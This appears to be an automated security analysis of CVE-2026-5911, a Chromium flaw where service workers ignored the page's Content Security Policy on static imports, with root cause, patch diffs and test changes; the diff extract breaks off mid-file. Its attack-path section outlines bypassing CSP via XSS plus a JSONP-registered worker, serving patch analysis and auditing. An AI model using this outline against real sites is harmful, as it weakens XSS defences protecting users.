CVE-2026-5911
Overview
Background
- Content Security Policy (CSP)
- a response-header policy whose
worker-srcdirective (falling back toscript-src/default-src) restricts the sources a document may load worker/module scripts from. - `FetchClientSettingsObject`
- the “outside” environment settings passed from the registering document into service-worker startup, carrying the referrer policy and (after the fix) the outside environment’s full policies.
- `PolicyContainerPolicies`
- the aggregate policy bundle that includes
content_security_policiesalongside referrer policy, sandbox flags, and related state. - `GlobalScopeCreationParams`
- the parameters used to build a worker’s global scope, whose first CSP vector (
outside_content_security_policies) seeds the CSP enforced inside the worker.
Root Cause Analysis
ed578172dee4. An earlier analysis was withdrawn because it had been written against a commit that was not the security fix (f0e69bffcf1a).import in a service worker was checked against no policy. Pre-fix, FetchClientSettingsObject in third_party/blink/public/mojom/loader/fetch_client_settings_object.mojom:25 held only a network.mojom.ReferrerPolicy referrer_policy field (changed at diff line .mojom:-25/+25 to PolicyContainerPolicies policy_container_policies), so the mojo type had no place to carry the outside environment’s content_security_policies. Consequently, in third_party/blink/renderer/modules/exported/web_embedded_worker_impl.cc, the GlobalScopeCreationParams for the service worker was constructed with an empty Vector<network::mojom::blink::ContentSecurityPolicyPtr>() as its outside_content_security_policies (the removed line), leaving the worker with no inherited CSP to enforce on imports. The primary commit ed578172dee4 fixes enforcement: it populates that argument with ToVector(worker_start_data->outside_fetch_client_settings_object.policy_container_policies.content_security_policies, FromWebContentSecurityPolicy) (added lines in web_embedded_worker_impl.cc), and correspondingly service_worker_global_scope.cc drops the now-wrong DCHECK(creation_params->outside_content_security_policies.empty()) (removed at the @@ -223 hunk). The preparatory commit f0e69bffcf1a (“this CL is a no-op”) only changes the FetchClientSettingsObject/WebFetchClientSettingsObject types to hold a whole PolicyContainerPolicies and adds the conversion boilerplate; in the primary commit several renderer-side converters (service_worker_registration.cc @@ -280, fetch_client_settings_object_helpers.cc, shared_worker_client_holder.cc) now fill the mojo FetchClientSettingsObject with GetPolicyContainerPolicies().Clone() instead of only the referrer policy; which of these sits on the reporter’s register() path is not shown in the material (inferred). The browser-side sites without an execution context (embedded_worker_instance.cc:606-611, service_worker_context_wrapper.cc @@ -611, service_worker_context_core.cc @@ -581, service_worker_controllee_request_handler.cc @@ -323) only construct a fresh PolicyContainerPolicies::New() (with referrer_policy = kDefault where set) to satisfy the new non-null field, and consumers such as service_worker_loader_helpers.cc read policy_container_policies->referrer_policy; service_worker_register_job.cc adds CHECK(outside_fetch_client_settings_object_->policy_container_policies). The WPT expected-results file loses its [FAIL] Cross-origin service worker static import blocked by worker-src 'self'. line, confirming the import is now blocked; the companion [FAIL] ... triggers CSP violation. line remains, so violation reporting for this case still fails after the fix.PolicyContainerPolicies and feeds its content_security_policies into the worker’s GlobalScopeCreationParams.Attack Path
- Obtain script execution
The attacker already has XSS on a target page whose CSP (e.g.
default-src 'none'; script-src 'self') is meant to confine script loading. (precondition per reporter; the advisory says only “Policy bypass in ServiceWorkers”) - Register a worker from an allowed, controllable endpoint
Using a source permitted by
worker-src/fallback whose response body is attacker-influenced (e.g. a JSONP endpoint), the attacker registers a module service worker. (from reporter) - Emit a static import
The service worker runs a static
importof a cross-origin script; pre-fix the worker holds an empty CSP (web_embedded_worker_impl.ccempty vector), so the import is not checked againstworker-srcand succeeds. - Bypass CSP The external module loads despite the page CSP, weakening XSS mitigations (e.g. circumventing a WAF/input filter). (impact per reporter)
Impact Assessment
worker-src/script-src as an XSS-hardening boundary; it requires both the XSS foothold and a worker source allowed by CSP whose response is attacker-controlled (preconditions per reporter). The advisory rates this low severity with no in-the-wild exploitation.Changed Functions
| Function | Change | Notes |
|---|---|---|
ifcontent/browser/service_worker/embedded_worker_instance.cc |
modified | |
ifcontent/browser/service_worker/service_worker_controllee_request_handler.cc |
modified | |
ServiceWorkerRegistrycontent/browser/service_worker/service_worker_test_utils.h |
modified | |
ServiceWorkerVersioncontent/browser/service_worker/service_worker_test_utils.h |
modified | |
ifcontent/renderer/policy_container_util.cc |
modified |
Files Changed
content/browser/background_fetch/background_fetch_test_base.cccontent/browser/background_sync/background_sync_manager_unittest.cccontent/browser/background_sync/background_sync_service_impl_test_harness.cccontent/browser/content_index/content_index_database_unittest.cccontent/browser/cookie_store/cookie_store_manager_unittest.cccontent/browser/devtools/devtools_background_services_context_impl_unittest.cccontent/browser/notifications/blink_notification_service_impl_unittest.cccontent/browser/notifications/notification_storage_unittest.cccontent/browser/notifications/platform_notification_context_unittest.cccontent/browser/payments/payment_app_content_unittest_base.cccontent/browser/service_worker/embedded_worker_instance.cccontent/browser/service_worker/service_worker_container_host_unittest.cccontent/browser/service_worker/service_worker_context_core.cccontent/browser/service_worker/service_worker_context_core_unittest.cccontent/browser/service_worker/service_worker_context_unittest.cccontent/browser/service_worker/service_worker_context_watcher_unittest.cccontent/browser/service_worker/service_worker_context_wrapper.cccontent/browser/service_worker/service_worker_controllee_request_handler.cccontent/browser/service_worker/service_worker_job_unittest.cccontent/browser/service_worker/service_worker_loader_helpers.cccontent/browser/service_worker/service_worker_new_script_fetcher_unittest.cccontent/browser/service_worker/service_worker_register_job.cccontent/browser/service_worker/service_worker_registration_unittest.cccontent/browser/service_worker/service_worker_single_script_update_checker_unittest.cccontent/browser/service_worker/service_worker_test_utils.cccontent/browser/service_worker/service_worker_test_utils.hcontent/browser/service_worker/service_worker_version_browsertest.cccontent/browser/worker_host/dedicated_worker_service_impl_unittest.cccontent/browser/worker_host/shared_worker_host_unittest.cccontent/browser/worker_host/shared_worker_service_impl_unittest.cccontent/browser/worker_host/worker_script_fetcher.cccontent/renderer/policy_container_util.cccontent/renderer/policy_container_util.hcontent/renderer/worker/fetch_client_settings_object_helpers.ccthird_party/blink/public/mojom/loader/fetch_client_settings_object.mojomthird_party/blink/renderer/core/workers/shared_worker_client_holder.ccthird_party/blink/renderer/modules/exported/web_embedded_worker_impl.ccthird_party/blink/renderer/modules/service_worker/service_worker_global_scope.ccthird_party/blink/renderer/modules/service_worker/service_worker_registration.ccthird_party/blink/web_tests/external/wpt/content-security-policy/worker-src/service-worker-static-import-blocked.https.sub-expected.txt
Audit Directions
- Dropped policy on boundary crossingsWhen settings cross the document→worker (or browser→renderer) boundary, verify the full
PolicyContainerPolicies, not just referrer policy, is carried; a bare field silently discards CSP. - Empty policy placeholdersFlag construction sites that seed
outside_content_security_policies(or similar) with an empty vector, which disables enforcement rather than inheriting it. - Worker import surfacesRe-check static/dynamic
import,importScripts, and module loading in all worker types against the inheritedworker-src/fallback directives for the same missing-inheritance pattern.
Patch
diff --git a/content/browser/background_fetch/background_fetch_test_base.cc b/content/browser/background_fetch/background_fetch_test_base.cc
index 230f1986..0de2100 100644
--- a/content/browser/background_fetch/background_fetch_test_base.cc
+++ b/content/browser/background_fetch/background_fetch_test_base.cc
@@ -26,6 +26,7 @@
#include "content/public/browser/browser_thread.h"
#include "third_party/blink/public/common/service_worker/service_worker_status_code.h"
#include "third_party/blink/public/common/storage_key/storage_key.h"
+#include "third_party/blink/public/mojom/frame/policy_container.mojom.h"
#include "third_party/blink/public/mojom/service_worker/service_worker_registration_options.mojom.h"
#include "url/gurl.h"
@@ -113,12 +114,15 @@
const blink::StorageKey key = blink::StorageKey::CreateFirstParty(origin);
{
+ auto fetch_client_settings_object =
+ blink::mojom::FetchClientSettingsObject::New();
+ fetch_client_settings_object->policy_container_policies =
+ blink::mojom::PolicyContainerPolicies::New();
blink::mojom::ServiceWorkerRegistrationOptions options;
options.scope = GetScopeForId(origin.GetURL().spec(), next_pattern_id_++);
base::RunLoop run_loop;
embedded_worker_test_helper_.context()->RegisterServiceWorker(
- script_url, key, options,
- blink::mojom::FetchClientSettingsObject::New(),
+ script_url, key, options, std::move(fetch_client_settings_object),
base::BindOnce(&DidRegisterServiceWorker,
&service_worker_registration_id, run_loop.QuitClosure()),
/*requesting_frame_id=*/GlobalRenderFrameHostId(),
diff --git a/content/browser/background_sync/background_sync_service_impl_test_harness.cc b/content/browser/background_sync/background_sync_service_impl_test_harness.cc
index 262377b..545a8aec 100644
--- a/content/browser/background_sync/background_sync_service_impl_test_harness.cc
+++ b/content/browser/background_sync/background_sync_service_impl_test_harness.cc
@@ -201,9 +201,13 @@
options.scope = GURL(kServiceWorkerScope);
const blink::StorageKey key =
blink::StorageKey::CreateFromStringForTesting(kServiceWorkerScope);
+ auto fetch_client_settings_object =
+ blink::mojom::FetchClientSettingsObject::New();
+ fetch_client_settings_object->policy_container_policies =
+ blink::mojom::PolicyContainerPolicies::New();
embedded_worker_helper_->context()->RegisterServiceWorker(
GURL(kServiceWorkerScript), key, options,
- blink::mojom::FetchClientSettingsObject::New(),
+ std::move(fetch_client_settings_object),
base::BindOnce(&RegisterServiceWorkerCallback, &called,
&sw_registration_id_),
/*requesting_frame_id=*/GlobalRenderFrameHostId(),
diff --git a/content/browser/service_worker/embedded_worker_instance.cc b/content/browser/service_worker/embedded_worker_instance.cc
index 45b45b6..954720c4 100644
--- a/content/browser/service_worker/embedded_worker_instance.cc
+++ b/content/browser/service_worker/embedded_worker_instance.cc
@@ -606,7 +606,12 @@
if (!params->outside_fetch_client_settings_object) {
params->outside_fetch_client_settings_object =
blink::mojom::FetchClientSettingsObject::New(
- network::mojom::ReferrerPolicy::kDefault,
+ []() {
+ auto policies = blink::mojom::PolicyContainerPolicies::New();
+ policies->referrer_policy =
+ network::mojom::ReferrerPolicy::kDefault;
+ return policies;
+ }(),
/*outgoing_referrer=*/params->script_url,
blink::mojom::InsecureRequestsPolicy::kDoNotUpgrade);
}
diff --git a/content/browser/service_worker/service_worker_context_core.cc b/content/browser/service_worker/service_worker_context_core.cc
index 6a623d1..0e4727d 100644
--- a/content/browser/service_worker/service_worker_context_core.cc
+++ b/content/browser/service_worker/service_worker_context_core.cc
@@ -59,6 +59,8 @@
#include "third_party/blink/public/common/features.h"
#include "third_party/blink/public/common/service_worker/embedded_worker_status.h"
#include "third_party/blink/public/common/service_worker/service_worker_scope_match.h"
+#include "third_party/blink/public/mojom/frame/policy_container.mojom.h"
+#include "third_party/blink/public/mojom/loader/fetch_client_settings_object.mojom.h"
#include "third_party/blink/public/mojom/service_worker/service_worker_container_type.mojom.h"
#include "third_party/blink/public/mojom/service_worker/service_worker_registration.mojom.h"
#include "third_party/blink/public/mojom/service_worker/service_worker_registration_options.mojom.h"
@@ -581,9 +583,13 @@
bool force_bypass_cache) {
// Use an empty fetch client settings object because this method is for
// browser-initiated update and there is no associated execution context.
+ auto fetch_client_settings_object =
+ blink::mojom::FetchClientSettingsObject::New();
+ fetch_client_settings_object->policy_container_policies =
+ blink::mojom::PolicyContainerPolicies::New();
UpdateServiceWorkerImpl(
registration, force_bypass_cache, /*skip_script_comparison=*/false,
- blink::mojom::FetchClientSettingsObject::New(), base::NullCallback());
+ std::move(fetch_client_settings_object), base::NullCallback());
}
void ServiceWorkerContextCore::UpdateServiceWorker(
diff --git a/content/browser/service_worker/service_worker_context_wrapper.cc b/content/browser/service_worker/service_worker_context_wrapper.cc
index 5dc2d7c..884c9c6 100644
--- a/content/browser/service_worker/service_worker_context_wrapper.cc
+++ b/content/browser/service_worker/service_worker_context_wrapper.cc
@@ -75,6 +75,7 @@
#include "third_party/blink/public/common/service_worker/service_worker_scope_match.h"
#include "third_party/blink/public/common/service_worker/service_worker_status_code.h"
#include "third_party/blink/public/common/storage_key/storage_key.h"
+#include "third_party/blink/public/mojom/frame/policy_container.mojom.h"
#include "third_party/blink/public/mojom/service_worker/service_worker_registration.mojom.h"
namespace content {
@@ -611,7 +612,12 @@
context()->RegisterServiceWorker(
net::SimplifyUrlForRequest(script_url), key, options_to_pass,
blink::mojom::FetchClientSettingsObject::New(
- network::mojom::ReferrerPolicy::kDefault,
+ []() {
+ auto policies = blink::mojom::PolicyContainerPolicies::New();
+ policies->referrer_policy =
+ network::mojom::ReferrerPolicy::kDefault;
+ return policies;
+ }(),
/*outgoing_referrer=*/script_url,
blink::mojom::InsecureRequestsPolicy::kDoNotUpgrade),
base::BindOnce(
diff --git a/content/browser/service_worker/service_worker_controllee_request_handler.cc b/content/browser/service_worker/service_worker_controllee_request_handler.cc
index 130f64c..4493989 100644
--- a/content/browser/service_worker/service_worker_controllee_request_handler.cc
+++ b/content/browser/service_worker/service_worker_controllee_request_handler.cc
@@ -323,14 +323,18 @@
const bool need_to_update = !force_update_started_ &&
context_->force_update_on_page_load() &&
can_update;
+ // Passing an empty outside fetch client settings object as there is no
+ // associated execution context.
+ auto fetch_client_settings_object =
+ blink::mojom::FetchClientSettingsObject::New();
+ fetch_client_settings_object->policy_container_policies =
+ blink::mojom::PolicyContainerPolicies::New();
if (need_to_update) {
force_update_started_ = true;
context_->UpdateServiceWorker(
registration.get(), true /* force_bypass_cache */,
true /* skip_script_comparison */,
- // Passing an empty outside fetch client settings object as there is no
- // associated execution context.
- blink::mojom::FetchClientSettingsObject::New(),
+ std::move(fetch_client_settings_object),
base::BindOnce(
&ServiceWorkerControlleeRequestHandler::DidUpdateRegistration,
weak_factory_.GetWeakPtr(), registration));
diff --git a/content/browser/service_worker/service_worker_loader_helpers.cc b/content/browser/service_worker/service_worker_loader_helpers.cc
index 0c9f738..ae3d57714 100644
--- a/content/browser/service_worker/service_worker_loader_helpers.cc
+++ b/content/browser/service_worker/service_worker_loader_helpers.cc
@@ -299,11 +299,12 @@
network::kDefaultAcceptHeaderValue);
request.referrer_policy = Referrer::ReferrerPolicyForUrlRequest(
- fetch_client_settings_object.referrer_policy);
+ fetch_client_settings_object.policy_container_policies->referrer_policy);
request.referrer =
Referrer::SanitizeForRequest(
script_url, Referrer(fetch_client_settings_object.outgoing_referrer,
- fetch_client_settings_object.referrer_policy))
+ fetch_client_settings_object
+ .policy_container_policies->referrer_policy))
.url;
request.upgrade_if_insecure =
fetch_client_settings_object.insecure_requests_policy ==
diff --git a/content/browser/service_worker/service_worker_register_job.cc b/content/browser/service_worker/service_worker_register_job.cc
index 2f97000..26d21225 100644
--- a/content/browser/service_worker/service_worker_register_job.cc
+++ b/content/browser/service_worker/service_worker_register_job.cc
@@ -78,8 +78,9 @@
requesting_frame_id_(requesting_frame_id),
ancestor_frame_type_(ancestor_frame_type),
creator_policy_container_policies_(std::move(policy_container_policies)) {
- DCHECK(context_);
- DCHECK(outside_fetch_client_settings_object_);
+ CHECK(context_);
+ CHECK(outside_fetch_client_settings_object_);
+ CHECK(outside_fetch_client_settings_object_->policy_container_policies);
}
ServiceWorkerRegisterJob::ServiceWorkerRegisterJob(
@@ -103,8 +104,9 @@
skip_script_comparison_(skip_script_comparison),
promise_resolved_status_(blink::ServiceWorkerStatusCode::kOk),
ancestor_frame_type_(registration->ancestor_frame_type()) {
- DCHECK(context_);
- DCHECK(outside_fetch_client_settings_object_);
+ CHECK(context_);
+ CHECK(outside_fetch_client_settings_object_);
+ CHECK(outside_fetch_client_settings_object_->policy_container_policies);
internal_.registration = registration;
ServiceWorkerVersion* version = registration->GetNewestVersion();
diff --git a/content/browser/service_worker/service_worker_test_utils.cc b/content/browser/service_worker/service_worker_test_utils.cc
index 3f3f8d8..1d9f406 100644
--- a/content/browser/service_worker/service_worker_test_utils.cc
+++ b/content/browser/service_worker/service_worker_test_utils.cc
@@ -47,10 +47,12 @@
#include "net/http/http_response_info.h"
#include "net/http/http_util.h"
#include "services/network/public/cpp/permissions_policy/permissions_policy_declaration.h"
+#include "services/network/public/mojom/referrer_policy.mojom-shared.h"
#include "third_party/blink/public/common/loader/throttling_url_loader.h"
#include "third_party/blink/public/common/navigation/navigation_params.h"
#include "third_party/blink/public/common/storage_key/storage_key.h"
#include "third_party/blink/public/mojom/back_forward_cache_not_restored_reasons.mojom.h"
+#include "third_party/blink/public/mojom/loader/fetch_client_settings_object.mojom.h"
#include "third_party/blink/public/mojom/loader/referrer.mojom.h"
#include "third_party/blink/public/mojom/loader/transferrable_url_loader.mojom.h"
#include "third_party/blink/public/mojom/service_worker/service_worker_registration_options.mojom.h"
@@ -237,6 +239,17 @@
} // namespace
+blink::mojom::FetchClientSettingsObjectPtr CreateFetchClientSettingsObject(
+ network::mojom::ReferrerPolicy referrer_policy) {
+ auto fetch_client_settings_object =
+ blink::mojom::FetchClientSettingsObject::New();
+ fetch_client_settings_object->policy_container_policies =
+ blink::mojom::PolicyContainerPolicies::New();
+ fetch_client_settings_object->policy_container_policies->referrer_policy =
+ referrer_policy;
+ return fetch_client_settings_object;
+}
+
CommittedServiceWorkerClient::CommittedServiceWorkerClient(
CommittedServiceWorkerClient&& other) = default;
CommittedServiceWorkerClient::~CommittedServiceWorkerClient() = default;
diff --git a/content/browser/service_worker/service_worker_test_utils.h b/content/browser/service_worker/service_worker_test_utils.h
index 6f7adcf..9d0674c 100644
--- a/content/browser/service_worker/service_worker_test_utils.h
+++ b/content/browser/service_worker/service_worker_test_utils.h
@@ -27,7 +27,9 @@
#include "mojo/public/cpp/bindings/receiver.h"
#include "mojo/public/cpp/bindings/remote.h"
#include "net/base/completion_once_callback.h"
+#include "services/network/public/mojom/referrer_policy.mojom-shared.h"
#include "testing/gtest/include/gtest/gtest.h"
+#include "third_party/blink/public/mojom/loader/fetch_client_settings_object.mojom-forward.h"
#include "third_party/blink/public/mojom/service_worker/service_worker_provider.mojom.h"
#include "third_party/blink/public/mojom/service_worker/service_worker_registration.mojom.h"
@@ -47,6 +49,10 @@
class ServiceWorkerRegistry;
class ServiceWorkerVersion;
+blink::mojom::FetchClientSettingsObjectPtr CreateFetchClientSettingsObject(
+ network::mojom::ReferrerPolicy referrer_policy =
+ network::mojom::ReferrerPolicy::kMinValue);
+
base::OnceCallback<void(blink::ServiceWorkerStatusCode)>
ReceiveServiceWorkerStatus(std::optional<blink::ServiceWorkerStatusCode>* out,
base::OnceClosure quit_closure);
diff --git a/content/browser/worker_host/worker_script_fetcher.cc b/content/browser/worker_host/worker_script_fetcher.cc
index 8332a3ae..4b29abc 100644
--- a/content/browser/worker_host/worker_script_fetcher.cc
+++ b/content/browser/worker_host/worker_script_fetcher.cc
@@ -309,7 +309,8 @@
Referrer sanitized_referrer = Referrer::SanitizeForRequest(
initial_request_url,
Referrer(outside_fetch_client_settings_object->outgoing_referrer,
- outside_fetch_client_settings_object->referrer_policy));
+ outside_fetch_client_settings_object->policy_container_policies
+ ->referrer_policy));
resource_request = std::make_unique<network::ResourceRequest>();
resource_request->url = initial_request_url;
@@ -317,7 +318,8 @@
resource_request->request_initiator = request_initiator;
resource_request->referrer = sanitized_referrer.url,
resource_request->referrer_policy = Referrer::ReferrerPolicyForUrlRequest(
- outside_fetch_client_settings_object->referrer_policy);
+ outside_fetch_client_settings_object->policy_container_policies
+ ->referrer_policy);
resource_request->destination = request_destination;
resource_request->credentials_mode = credentials_mode;
// To be used for the first party context check.
diff --git a/content/renderer/policy_container_util.cc b/content/renderer/policy_container_util.cc
index bf021133..a30083c 100644
--- a/content/renderer/policy_container_util.cc
+++ b/content/renderer/policy_container_util.cc
@@ -4,6 +4,9 @@
#include "content/renderer/policy_container_util.h"
+#include <utility>
+
+#include "base/containers/to_vector.h"
#include "content/renderer/content_security_policy_util.h"
#include "third_party/blink/public/mojom/frame/policy_container.mojom.h"
@@ -11,24 +14,44 @@
std::unique_ptr<blink::WebPolicyContainer> ToWebPolicyContainer(
blink::mojom::PolicyContainerPtr in) {
- if (!in)
+ if (!in) {
return nullptr;
+ }
return std::make_unique<blink::WebPolicyContainer>(
- blink::WebPolicyContainerPolicies{
- in->policies->connection_allowlists,
- in->policies->cross_origin_embedder_policy.value,
- in->policies->integrity_policy,
- in->policies->integrity_policy_report_only,
- in->policies->referrer_policy,
- ToWebContentSecurityPolicies(in->policies->content_security_policies),
- in->policies->is_credentialless,
- in->policies->sandbox_flags,
- in->policies->ip_address_space,
- in->policies->can_navigate_top_without_user_gesture,
- in->policies->cross_origin_isolation_enabled_by_dip,
- },
- std::move(in->remote));
+ ToWebPolicyContainerPolicies(in->policies), std::move(in->remote));
+}
+
+blink::WebPolicyContainerPolicies ToWebPolicyContainerPolicies(
+ const blink::mojom::PolicyContainerPoliciesPtr& policies) {
+ return blink::WebPolicyContainerPolicies{
+ policies->connection_allowlists,
+ policies->cross_origin_embedder_policy.value,
+ policies->integrity_policy,
+ policies->integrity_policy_report_only,
+ policies->referrer_policy,
+ ToWebContentSecurityPolicies(policies->content_security_policies),
+ policies->is_credentialless,
+ policies->sandbox_flags,
+ policies->ip_address_space,
+ policies->can_navigate_top_without_user_gesture,
+ policies->cross_origin_isolation_enabled_by_dip,
+ };
+}
+
+blink::mojom::PolicyContainerPoliciesPtr FromWebPolicyContainerPolicies(
+ const blink::WebPolicyContainerPolicies& policies) {
+ network::CrossOriginEmbedderPolicy cross_origin_embedder_policy;
+ cross_origin_embedder_policy.value = policies.cross_origin_embedder_policy;
+ return blink::mojom::PolicyContainerPolicies::New(
+ policies.connection_allowlists, cross_origin_embedder_policy,
+ policies.integrity_policy, policies.integrity_policy_report_only,
+ policies.referrer_policy,
+ base::ToVector(policies.content_security_policies,
+ BuildContentSecurityPolicy),
+ policies.is_credentialless, policies.sandbox_flags,
+ policies.ip_address_space, policies.can_navigate_top_without_user_gesture,
+ policies.cross_origin_isolation_enabled_by_dip);
}
} // namespace content
diff --git a/content/renderer/policy_container_util.h b/content/renderer/policy_container_util.h
index e344301..6cd8e8e 100644
--- a/content/renderer/policy_container_util.h
+++ b/content/renderer/policy_container_util.h
@@ -11,13 +11,27 @@
namespace content {
-// Convert a PolicyContainer into a WebPolicyContainer. These two
+// Converts a PolicyContainer into a WebPolicyContainer. These two
// classes represent the exact same thing, but one is in content, the other is
// in blink.
CONTENT_EXPORT
std::unique_ptr<blink::WebPolicyContainer> ToWebPolicyContainer(
blink::mojom::PolicyContainerPtr);
+// Converts a PolicyContainerPolicies into a WebPolicyContainerPolicies. These
+// two classes represent the exact same thing, but one is in content, the other
+// is in blink.
+CONTENT_EXPORT
+blink::WebPolicyContainerPolicies ToWebPolicyContainerPolicies(
+ const blink::mojom::PolicyContainerPoliciesPtr&);
+
+// Converts a WebPolicyContainerPolicies into a PolicyContainerPolicies. These
+// two classes represent the exact same thing, but one is in blink, the other
+// is in content.
+CONTENT_EXPORT
+blink::mojom::PolicyContainerPoliciesPtr FromWebPolicyContainerPolicies(
+ const blink::WebPolicyContainerPolicies& policies);
+
} // namespace content
#endif // CONTENT_RENDERER_POLICY_CONTAINER_UTIL_H_
diff --git a/content/renderer/worker/fetch_client_settings_object_helpers.cc b/content/renderer/worker/fetch_client_settings_object_helpers.cc
index 82d9d1a..7a87fdc 100644
--- a/content/renderer/worker/fetch_client_settings_object_helpers.cc
+++ b/content/renderer/worker/fetch_client_settings_object_helpers.cc
@@ -4,6 +4,7 @@
#include "content/renderer/worker/fetch_client_settings_object_helpers.h"
+#include "content/renderer/policy_container_util.h"
#include "third_party/blink/public/platform/web_fetch_client_settings_object.h"
#include "third_party/blink/public/platform/web_policy_container.h"
@@ -13,17 +14,18 @@
FetchClientSettingsObjectFromWebToMojom(
const blink::WebFetchClientSettingsObject& web_settings_object) {
... (file diff truncated)
Regression Test / PoC
diff --git a/content/browser/background_sync/background_sync_manager_unittest.cc b/content/browser/background_sync/background_sync_manager_unittest.cc
index 9cd0d03..69598d85831 100644
--- a/content/browser/background_sync/background_sync_manager_unittest.cc
+++ b/content/browser/background_sync/background_sync_manager_unittest.cc
@@ -51,6 +51,7 @@
#include "testing/gtest/include/gtest/gtest.h"
#include "third_party/blink/public/common/permissions/permission_utils.h"
#include "third_party/blink/public/common/storage_key/storage_key.h"
+#include "third_party/blink/public/mojom/frame/policy_container.mojom.h"
#include "third_party/blink/public/mojom/permissions/permission.mojom.h"
#include "third_party/blink/public/mojom/permissions/permission_status.mojom.h"
#include "third_party/blink/public/mojom/service_worker/service_worker_registration.mojom.h"
@@ -191,17 +192,19 @@
options2.scope = GURL(kScope2);
const blink::StorageKey key2 =
blink::StorageKey::CreateFirstParty(url::Origin::Create(GURL(kScope2)));
+ auto fetch_client_settings_object =
+ blink::mojom::FetchClientSettingsObject::New();
+ fetch_client_settings_object->policy_container_policies =
+ blink::mojom::PolicyContainerPolicies::New();
helper_->context()->RegisterServiceWorker(
- GURL(kScript1), key1, options1,
- blink::mojom::FetchClientSettingsObject::New(),
+ GURL(kScript1), key1, options1, fetch_client_settings_object.Clone(),
base::BindOnce(&RegisterServiceWorkerCallback, &called_1,
&sw_registration_id_1_),
/*requesting_frame_id=*/GlobalRenderFrameHostId(),
PolicyContainerPolicies());
helper_->context()->RegisterServiceWorker(
- GURL(kScript2), key2, options2,
- blink::mojom::FetchClientSettingsObject::New(),
+ GURL(kScript2), key2, options2, fetch_client_settings_object.Clone(),
base::BindOnce(&RegisterServiceWorkerCallback, &called_2,
&sw_registration_id_2_),
/*requesting_frame_id=*/GlobalRenderFrameHostId(),
diff --git a/content/browser/content_index/content_index_database_unittest.cc b/content/browser/content_index/content_index_database_unittest.cc
index a302f0b9..04b6e67 100644
--- a/content/browser/content_index/content_index_database_unittest.cc
+++ b/content/browser/content_index/content_index_database_unittest.cc
@@ -251,9 +251,12 @@
options.scope = origin.GetURL();
const blink::StorageKey key = blink::StorageKey::CreateFirstParty(origin);
base::RunLoop run_loop;
+ auto fetch_client_settings_object =
+ blink::mojom::FetchClientSettingsObject::New();
+ fetch_client_settings_object->policy_container_policies =
+ blink::mojom::PolicyContainerPolicies::New();
embedded_worker_test_helper_.context()->RegisterServiceWorker(
- script_url, key, options,
- blink::mojom::FetchClientSettingsObject::New(),
+ script_url, key, options, std::move(fetch_client_settings_object),
base::BindOnce(&DidRegisterServiceWorker,
&service_worker_registration_id,
run_loop.QuitClosure()),
diff --git a/content/browser/cookie_store/cookie_store_manager_unittest.cc b/content/browser/cookie_store/cookie_store_manager_unittest.cc
index 2fdf094d..e78e2c5 100644
--- a/content/browser/cookie_store/cookie_store_manager_unittest.cc
+++ b/content/browser/cookie_store/cookie_store_manager_unittest.cc
@@ -223,9 +223,12 @@
blink::mojom::ServiceWorkerRegistrationOptions options;
options.scope = GURL(scope);
base::RunLoop run_loop;
+ auto fetch_client_settings_object =
+ blink::mojom::FetchClientSettingsObject::New();
+ fetch_client_settings_object->policy_container_policies =
+ blink::mojom::PolicyContainerPolicies::New();
worker_test_helper_->context()->RegisterServiceWorker(
- GURL(script_url), key, options,
- blink::mojom::FetchClientSettingsObject::New(),
+ GURL(script_url), key, options, std::move(fetch_client_settings_object),
base::BindLambdaForTesting([&](blink::ServiceWorkerStatusCode status,
const std::string& status_message,
int64_t service_worker_registration_id) {
diff --git a/content/browser/devtools/devtools_background_services_context_impl_unittest.cc b/content/browser/devtools/devtools_background_services_context_impl_unittest.cc
index 4d8b5456..73d9cd15b 100644
--- a/content/browser/devtools/devtools_background_services_context_impl_unittest.cc
+++ b/content/browser/devtools/devtools_background_services_context_impl_unittest.cc
@@ -228,9 +228,12 @@
blink::mojom::ServiceWorkerRegistrationOptions options;
options.scope = origin_.GetURL();
base::RunLoop run_loop;
+ auto fetch_client_settings_object =
+ blink::mojom::FetchClientSettingsObject::New();
+ fetch_client_settings_object->policy_container_policies =
+ blink::mojom::PolicyContainerPolicies::New();
embedded_worker_test_helper_.context()->RegisterServiceWorker(
- script_url, key, options,
- blink::mojom::FetchClientSettingsObject::New(),
+ script_url, key, options, std::move(fetch_client_settings_object),
base::BindOnce(&DidRegisterServiceWorker,
&service_worker_registration_id,
run_loop.QuitClosure()),
diff --git a/content/browser/notifications/blink_notification_service_impl_unittest.cc b/content/browser/notifications/blink_notification_service_impl_unittest.cc
index 8ccff8e..6e0a316 100644
--- a/content/browser/notifications/blink_notification_service_impl_unittest.cc
+++ b/content/browser/notifications/blink_notification_service_impl_unittest.cc
@@ -168,10 +168,14 @@
options.scope = GURL(kTestOrigin);
{
+ auto fetch_client_settings_object =
+ blink::mojom::FetchClientSettingsObject::New();
+ fetch_client_settings_object->policy_container_policies =
+ blink::mojom::PolicyContainerPolicies::New();
base::RunLoop run_loop;
embedded_worker_helper_->context()->RegisterServiceWorker(
GURL(kTestServiceWorkerUrl), storage_key_, options,
- blink::mojom::FetchClientSettingsObject::New(),
+ std::move(fetch_client_settings_object),
base::BindOnce(
&BlinkNotificationServiceImplTest::DidRegisterServiceWorker,
base::Unretained(this), &service_worker_registration_id,
diff --git a/content/browser/notifications/notification_storage_unittest.cc b/content/browser/notifications/notification_storage_unittest.cc
index 4674eb0..657a91ee 100644
--- a/content/browser/notifications/notification_storage_unittest.cc
+++ b/content/browser/notifications/notification_storage_unittest.cc
@@ -71,9 +71,12 @@
blink::mojom::ServiceWorkerRegistrationOptions options;
options.scope = url_;
base::RunLoop run_loop;
+ auto fetch_client_settings_object =
+ blink::mojom::FetchClientSettingsObject::New();
+ fetch_client_settings_object->policy_container_policies =
+ blink::mojom::PolicyContainerPolicies::New();
helper_->context()->RegisterServiceWorker(
- script_url, key, options,
- blink::mojom::FetchClientSettingsObject::New(),
+ script_url, key, options, std::move(fetch_client_settings_object),
base::BindOnce(&NotificationStorageTest::DidRegisterServiceWorker,
base::Unretained(this), run_loop.QuitClosure()),
/*requesting_frame_id=*/GlobalRenderFrameHostId(),
diff --git a/content/browser/notifications/platform_notification_context_unittest.cc b/content/browser/notifications/platform_notification_context_unittest.cc
index 08f17e05..674d3f0 100644
--- a/content/browser/notifications/platform_notification_context_unittest.cc
+++ b/content/browser/notifications/platform_notification_context_unittest.cc
@@ -614,8 +614,13 @@
// Register a Service Worker to get a valid registration id.
blink::mojom::ServiceWorkerRegistrationOptions options;
options.scope = origin;
+ auto fetch_client_settings_object =
+ blink::mojom::FetchClientSettingsObject::New();
+ fetch_client_settings_object->policy_container_policies =
+ blink::mojom::PolicyContainerPolicies::New();
embedded_worker_test_helper->context()->RegisterServiceWorker(
